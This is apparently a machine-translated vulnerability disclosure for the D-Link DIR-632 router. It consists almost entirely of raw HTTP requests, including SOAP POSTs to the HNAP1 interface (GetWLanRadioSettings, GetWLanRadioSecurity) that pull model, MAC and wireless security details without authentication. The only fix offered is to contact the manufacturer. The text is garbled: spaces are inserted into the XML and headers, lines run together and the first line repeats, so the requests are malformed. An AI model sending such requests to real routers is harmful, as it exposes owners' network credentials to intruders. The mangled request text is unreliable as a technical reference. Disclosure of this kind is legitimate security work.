D-Link a route sends a specific POST packet to obtain information such as essid.
D-Link a route sends a specific POST packet to obtain information such as essid.
Model:
var CMOm17n_lang="EN";var CMOmodel_name="DIR-632";var CMOhw_version="A1";var CMOversion="1.04";var CMOwlan0_mode="rt";var CMOmanufacturer = "D-Link";
Get model:
GET/frame. cmo HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, */* Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0 ;. net clr 2.0.50727) Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveHost: IP: 8080
Obtain mac and other information
POST/HNAP1/HTTP/1.0 Connection: keep-aliveContent-Length: 387 SOAPAction: "http://purenetworks.com/HNAP1/GetWLanRadioSettings" Host: Address: 8080 Accept: text/html, */* Accept-Encoding: deflate, gzip, identityUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv: 9.0.1) Gecko/20100101 Firefox/9.0.1 <? Xml version = "1.0" encoding = "UTF-8"?> <Soap: Envelopexmlns: xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns: xsd = "http://www.w3.org/2001/XMLSchema" xmlns: soap = "http://schemas.xmlsoap.org/soap/encoding/"> <soap: body> <GetWLanRadioSettings xmlns = "http://purenetworks.com/HNAP1/"> <RadioID> RADIO_24GHz </RadioID> </GetWLanRadioSettings> </soap: Body> </soap: Envelope>
Obtain essid and other information
POST/HNAP1/HTTP/1.0 Connection: keep-aliveContent-Length: 387 SOAPAction: "http://purenetworks.com/HNAP1/GetWLanRadioSecurity" Host: Address: 8080 Accept: text/html, */* Accept-Encoding: deflate, gzip, identityUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv: 9.0.1) Gecko/20100101 Firefox/9.0.1 <? Xml version = "1.0" encoding = "UTF-8"?> <Soap: Envelopexmlns: xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns: xsd = "http://www.w3.org/2001/XMLSchema" xmlns: soap = "http://schemas.xmlsoap.org/soap/encoding/"> <soap: body> <GetWLanRadioSecurity xmlns = "http://purenetworks.com/HNAP1/"> <RadioID> RADIO_24GHz </RadioID> </GetWLanRadioSecurity> </soap: Body> </soap: Envelope>
Solution:
Contact manufacturer